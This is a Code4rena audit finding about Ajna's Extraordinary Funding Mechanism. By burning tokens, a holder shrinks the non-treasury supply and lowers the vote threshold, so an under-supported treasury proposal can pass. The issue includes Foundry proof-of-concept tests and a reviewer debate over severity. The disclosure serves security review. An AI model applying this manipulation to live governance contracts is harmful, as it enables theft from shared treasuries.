search

code-423n4 / 2023-05-ajna-findings

2 stars 0 forks source link

The voting thresholds in Ajna's Extraordinary Funding Mechanism can be manipulated to execute proposals below the expected threshold. #285

Open code423n4 opened 1 year ago

code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/fc70fb9d05b13aee2b44be2cb652478535a90edd/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L222-L227

Vulnerability details

Impact

This vulnerability presents a significant risk to the Ajna treasury. A malicious actor who owns a substantial amount of tokens could manipulate the voting mechanism by burning their own tokens, thereby lowering the minimum threshold of votes required for a proposal to pass. This tactic could allow him to siphon off substantial amounts from the treasury.

Proof of Concept

By meeting a certain quorum of non-treasury tokens, token holders may take tokens from the treasury outside of the PFM by utilizing Extraordinary Funding Mechanism (EFM).

This mechanism works by allowing up to the percentage over 50% of non-treasury tokens (the “minimum threshold”) that vote affirmatively to be removed from the treasury – the cap on this mechanism is therefore 100% minus the minimum threshold (50% in this case).

Examples:

  1. If 51% of non-treasury tokens vote affirmatively for a proposal, up to 1% of the treasury may be withdrawn by the proposal
  2. If 65% of non-treasury tokens vote affirmatively for a proposal, up to 15% of the treasury may be withdrawn by the proposal
  3. If 50% or less of non-treasury tokens vote affirmatively for a proposal, 0% of the treasury may be withdrawn by the proposal

When submitting a proposal, the proposer must include the exact percentage of the treasury they would like to extract (“proposal threshold”), if the vote fails to reach this threshold, it will fail, and no tokens will be distributed.

Example: a. A proposer requests 10% of the treasury

  1. 50%+10%=60%
  2. If 65% of non-treasury tokens vote affirmatively, 10% of the treasury is released
  3. If 59.9% of non-treasury tokens vote affirmatively, 0% of the treasury is released

The function that checks the conditions above are true, and the proposal has succeeded is _extraordinaryProposalSucceeded.

https://github.com/code-423n4/2023-05-ajna/blob/fc70fb9d05b13aee2b44be2cb652478535a90edd/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L164-L178

    function _extraordinaryProposalSucceeded(
        uint256 proposalId_,
        uint256 tokensRequested_
    ) internal view returns (bool) {
        uint256 votesReceived          = uint256(_extraordinaryFundingProposals[proposalId_].votesReceived);

        // @audit-info check _getMinimumThresholdPercentage() function
        uint256 minThresholdPercentage = _getMinimumThresholdPercentage();

        return
            // succeeded if proposal's votes received doesn't exceed the minimum threshold required

            // @audit-info check _getSliceOfNonTreasury() function
            (votesReceived >= tokensRequested_ + _getSliceOfNonTreasury(minThresholdPercentage))
            &&
            // succeeded if tokens requested are available for claiming from the treasury
            (tokensRequested_ <= _getSliceOfTreasury(Maths.WAD - minThresholdPercentage))
        ;
    }

The vulnerability here lies in the _getSliceOfNonTreasury() function.

https://github.com/code-423n4/2023-05-ajna/blob/fc70fb9d05b13aee2b44be2cb652478535a90edd/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L222-L227

    function _getSliceOfNonTreasury(
        uint256 percentage_
    ) internal view returns (uint256) {
        uint256 totalAjnaSupply = IERC20(ajnaTokenAddress).totalSupply();
        // return ((ajnaTotalSupply - treasury) * percentage + 10**18 / 2) / 10**18;
        return Maths.wmul(totalAjnaSupply - treasury, percentage_);
    }

The reason is that it relies on the current total supply and AjnaToken inherits ERC20Burnable, a malicious user can burn his tokens to lower the minimum threshold needed for votes and make the proposal pass.

Bob, a token holder, owns 10% of the Ajna supply. He creates a proposal where he requests 20% of the treasury. For his proposal to pass, Bob needs to gather 70% of the votes (50% as the threshold because there are no other funded proposals yet and an additional 20% for the tokens he requested). Unfortunately, Bob only manages to acquire 61% of the total votes.

https://github.com/code-423n4/2023-05-ajna/blob/fc70fb9d05b13aee2b44be2cb652478535a90edd/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L206-L215

    function _getMinimumThresholdPercentage() internal view returns (uint256) {
        // default minimum threshold is 50
        if (_fundedExtraordinaryProposals.length == 0) {
            return 0.5 * 1e18;
        }
        // minimum threshold increases according to the number of funded EFM proposals
        else {
            // @audit-info 10 proposals max
            return 0.5 * 1e18 + (_fundedExtraordinaryProposals.length * (0.05 * 1e18));
        }
    }
        return            
            // 70%              20%                
            (votesReceived >= tokensRequested_ 

                            50%
            + _getSliceOfNonTreasury(minThresholdPercentage))
            &&
            // succeeded if tokens requested are available for claiming from the treasury
            (tokensRequested_ <= _getSliceOfTreasury(Maths.WAD - minThresholdPercentage))
        ;

Bob then burns 10% of his own tokens. This action reduces the total supply and, consequently, the threshold too. Now, the proposal needs only 61% to pass, and since Bob already has this percentage, he can execute his proposal and siphon off funds from the treasury.

Here's a PoC that can be used to showcase the issue:

For the ease of use, please add a console.log to the _extraordinaryProposalSucceeded function

function _extraordinaryProposalSucceeded(
        uint256 proposalId_,
        uint256 tokensRequested_
    ) internal view returns (bool) {
        uint256 votesReceived          = uint256(_extraordinaryFundingProposals[proposalId_].votesReceived);

        uint256 minThresholdPercentage = _getMinimumThresholdPercentage();

+        console.log("tokensNeeded", tokensRequested_ + _getSliceOfNonTreasury(minThresholdPercentage));

        return            
            // 50k            30k                // 50k
            (votesReceived >= tokensRequested_ + _getSliceOfNonTreasury(minThresholdPercentage))
            &&
            // succeeded if tokens requested are available for claiming from the treasury
            (tokensRequested_ <= _getSliceOfTreasury(Maths.WAD - minThresholdPercentage))
        ;
    }
  function testManipulateSupply() external {
        // 14 tokenholders self delegate their tokens to enable voting on the proposals
        _selfDelegateVoters(_token, _votersArr);

        vm.roll(_startBlock + 100);

        // set proposal params
        uint256 endBlockParam = block.number + 100_000;

        // generate proposal targets
        address[] memory targets = new address[](1);
        targets[0] = address(_token);

        // generate proposal values
        uint256[] memory values = new uint256[](1);
        values[0] = 0;

        // generate proposal calldata
        bytes[] memory calldatas = new bytes[](1);
        calldatas[0] = abi.encodeWithSignature(
            "transfer(address,uint256)",
            _tokenHolder1,
            50_000_001 * 1e18
        );

        // create and submit proposal
        TestProposalExtraordinary memory testProposal = _createProposalExtraordinary(
            _grantFund,
            _tokenHolder1,
            endBlockParam,
            targets,
            values,
            calldatas,
            "Extraordinary Proposal for Ajna token transfer to tester address"
        );

        vm.roll(_startBlock + 150);

        uint256 votingWeight = _grantFund.getVotesExtraordinary(_tokenHolder2, testProposal.proposalId);

        changePrank(_tokenHolder2);
        _grantFund.voteExtraordinary(testProposal.proposalId);

        uint256 totalSupply = _token.totalSupply();

        address bob = makeAddr("bob");

        changePrank(_tokenDeployer);

        _token.transfer(bob, _token.balanceOf(_tokenDeployer));

        changePrank(bob);
        _token.burn(_token.balanceOf(bob));

        vm.roll(_startBlock + 217_000);

        _grantFund.state(testProposal.proposalId);
    }

Running the test with Bob burning tokens

        uint256 totalSupply = _token.totalSupply();

        address bob = makeAddr("bob");

        changePrank(_tokenDeployer);

        _token.transfer(bob, _token.balanceOf(_tokenDeployer));

        changePrank(bob);
        _token.burn(_token.balanceOf(bob));

Yields the following result:

Whereas if we remove the burning, the tokens needed are increased

-        uint256 totalSupply = _token.totalSupply();

-        address bob = makeAddr("bob");

-        changePrank(_tokenDeployer);

-        _token.transfer(bob, _token.balanceOf(_tokenDeployer));

-        changePrank(bob);
-        _token.burn(_token.balanceOf(bob));

.

Tools Used

Manual Review

Recommended Mitigation Steps

To mitigate this vulnerability, consider implementing a mechanism that uses a snapshot of the total supply at the time of proposal submission rather than the current total supply. This change will prevent the threshold from being manipulated by burning tokens.

Assessed type

Other

c4-judge commented 1 year ago

Picodes marked the issue as primary issue

c4-judge commented 1 year ago

Picodes marked issue #287 as primary and marked this issue as a duplicate of 287

c4-sponsor commented 1 year ago

MikeHathaway marked the issue as sponsor disputed

c4-sponsor commented 1 year ago

MikeHathaway marked the issue as sponsor acknowledged

c4-judge commented 1 year ago

Picodes marked the issue as selected for report

Picodes commented 1 year ago

Considering that:

I think this report and its duplicate qualify for Medium severity under "hypothetical attack path with stated assumptions, but external requirements"

c4-judge commented 1 year ago

Picodes changed the severity to 2 (Med Risk)

c4-judge commented 1 year ago

Picodes marked the issue as satisfactory

0xRobocop commented 1 year ago

I think this issue is miss-judged.

Because this is issue and its duplicates describe different scenarios, one tries to manipulate via burning and the other via sending tokens to the treasury, I will provide the analysis for both.

Case 1 (Burning):

Burning tokens reduces the non-treasury tokens and hence reduces the threshold needed to pass a proposal, the problem is that you will need to burn more tokens that the ones you reduce for the threshold. Actually this can be proven looking at the Warden's proof of concept.

The proof of concept shows that if bob does not burn his tokens then he need 800M votes to pass a proposal, if he burns his tokens then he needs 650M. The problem is that the PoC does not show how many tokens bob burned, so lets analyze it a bit further. The formula to compute votes needed is:

tokensRequested + ((TotalSupply - TreasuryTokens) * MinimumThreshold)

By the Warden's PoC we know that before bob burning his tokens and with tokens requested equal to 50M the formula yields 800M so:

800M = 50M + ((TotalSupply - TreasuryTokens) * 0.5)

When bob burns his tokens the formula yields 650M so:

650M = 50M + ((TotalSupply - BobBurnedTokens - TreasuryTokens) * 0.5)

Simplifying the both formulas we have:

750M = 0.5 * TotalSupply - 0.5 * TreasuryTokens

and

600M = 0.5 * TotaSupply - 0.5 TreasuryTokens - 0.5 BobBurnedTokens

We can combine both formulas into one, taking 0.5 * TotalSupply - 0.5 * TreasuryTokens as the common factor between both.

600M = 750M - 0.5 * BobBurnedTokens

We solve for BobBurnedTokens:

BobBurnedTokens = 150M / 0.5 == 300M

So, Bob burned 300M tokens to reduce the threshold by 150M tokens (from 800 to 650).

Case 2 (Sending tokens to treasury)

In the duplicates, the Wardens say that an attacker can make its proposal to pass by sending tokens to the treasury since this will lower the votes needed to pass the proposal. I will use the same scenario described by one of the wardens.

The attack finishes at a profit of 249 tokens. If the "attacker" had requested the same 249 tokens instead of 500 then the threshold will have been:

0.5 * 9,000 + 249 = 4,749

Which is lower than 4,875 votes. The attacker got the same tokens (249) without having to manipulate the treasury and without more voting power that he already got (1,000 + 3,875).

This shows that the 2 behaviors are equivalent, so it cannot be seen that the first one is an attack, the contract is giving an amount (249) that goes in accordance with the votes reached, which is the objective of the design. And actually the second scenario is cheaper since it needs 4,749 votes while the other needs 4,874, so what in "real" terms happened is that the attacker transferred 125 tokens of wealth to the ecosystem.

bytes032 commented 1 year ago

Hey there. I think your interpretation of case 1 is misleading.

Here's a PoC where Bob requests 100 million tokens and burns 40 million to lower the threshold by 20 million. This will yield a net positive of 60 million tokens for Bob.

  function testManipulateSupply() external {
        // 14 tokenholders self delegate their tokens to enable voting on the proposals
        _selfDelegateVoters(_token, _votersArr);

        vm.roll(_startBlock + 100);

        // set proposal params
        uint256 endBlockParam = block.number + 100_000;

        // generate proposal targets
        address[] memory targets = new address[](1);
        targets[0] = address(_token);

        // generate proposal values
        uint256[] memory values = new uint256[](1);
        values[0] = 0;

        // generate proposal calldata
        bytes[] memory calldatas = new bytes[](1);
        calldatas[0] = abi.encodeWithSignature(
            "transfer(address,uint256)",
            _tokenHolder1,
            100_000_000 * 1e18
        );

        // create and submit proposal
        TestProposalExtraordinary memory testProposal = _createProposalExtraordinary(
            _grantFund,
            _tokenHolder1,
            endBlockParam,
            targets,
            values,
            calldatas,
            "Extraordinary Proposal for Ajna token transfer to tester address"
        );

        vm.roll(_startBlock + 150);

        uint256 votingWeight = _grantFund.getVotesExtraordinary(_tokenHolder2, testProposal.proposalId);

        changePrank(_tokenHolder2);
        _grantFund.voteExtraordinary(testProposal.proposalId);

        uint256 totalSupply = _token.totalSupply();

        address bob = makeAddr("bob");

        changePrank(_tokenDeployer);

        _token.transfer(bob, _token.balanceOf(_tokenDeployer));

        changePrank(bob);
        _token.burn(40_000_000 * 1e18);

        vm.roll(_startBlock + 217_000);

        _grantFund.state(testProposal.proposalId);
    }

Regarding case 2 - I agree that it should not be a duplicate.

0xRobocop commented 1 year ago

I'm not making any interpretation, and your new PoC clearly shows what I described.

Case 2 is a duplicate just carried differently, and actually is better because by sending tokens to the treasury you reduce 1:1 the threshold, if you send 200 tokens you reduce the threshold 200 tokens. In the case of burning you only get to reduce the half.

As demonstrated in the Case 2, it does not constitute an attack since the behaviors are equivalent. But in the case of burning the attacker is literally losing money. First of all your PoC fails to give context why an attacker wants to burn 40M to reduce the threshold by 20M, so I will try to imagine one.

Hence, VotesNeeded are => 100M + 200M*0.5 => 200M

You vote with your 180M, but you still need 20M so you burn 40M to reduce the threshold by 20M and pass the proposal, at the end you end-up with 240M tokens.

If you had created the proposal for 80M then:

That you could get successfully executed without burning and will land you a final balance of 260M tokens instead of 240M.

In this scenario I gave the attacker a lot of balance (90%) of non treasury tokens, to demonstrate that even large holders do not get an advantage by burning or sending tokens to the treasury. In the case of sending tokens is equivalent and in the case of burning he lost 20M.

bytes032 commented 1 year ago

Your interpretation contains a flaw as it assumes that only the owner would vote in favor of the proposal. However, it is entirely plausible that:

  1. The "attacker" possesses only 40 million tokens.
  2. The attacker requests 100 million tokens.
  3. Surprisingly, their proposal receives almost enough votes, but they still require X additional votes.
  4. At this point, the attacker manipulates the system by burning tokens, rendering the need for X votes irrelevant.

Moreover, it is worth noting that this specific concern has been acknowledged by the sponsor, and there is an ongoing dispute regarding case 2.

0xRobocop commented 1 year ago

You can abstract away who owns the tokens and how much.

You already have 180M of voting power, either because you own the tokens or because the community thinks your proposal must get funded. With that voting power does not make sense to burn 40M tokens to reduce 20M of threshold since you and the community who believes in your proposal can better ask for 20M less tokens.

Also if the "attacker" has 40M but he manages to convice 140M votes more, it implies some level of accountability to carry-on on the proposal. But now he only has 60M instead of 120M (if he had requested only 80 + 40 he had before).

Picodes commented 1 year ago

@0xRobocop I'll side with @bytes032 on this one.

Your numerical analysis is correct but as @bytes032 points out this attack is more about a scenario where a proposal is close to being accepted, and should normally be rejected but by transferring Ajna tokens to the treasury it's possible to lower the threshold to force the proposal to pass.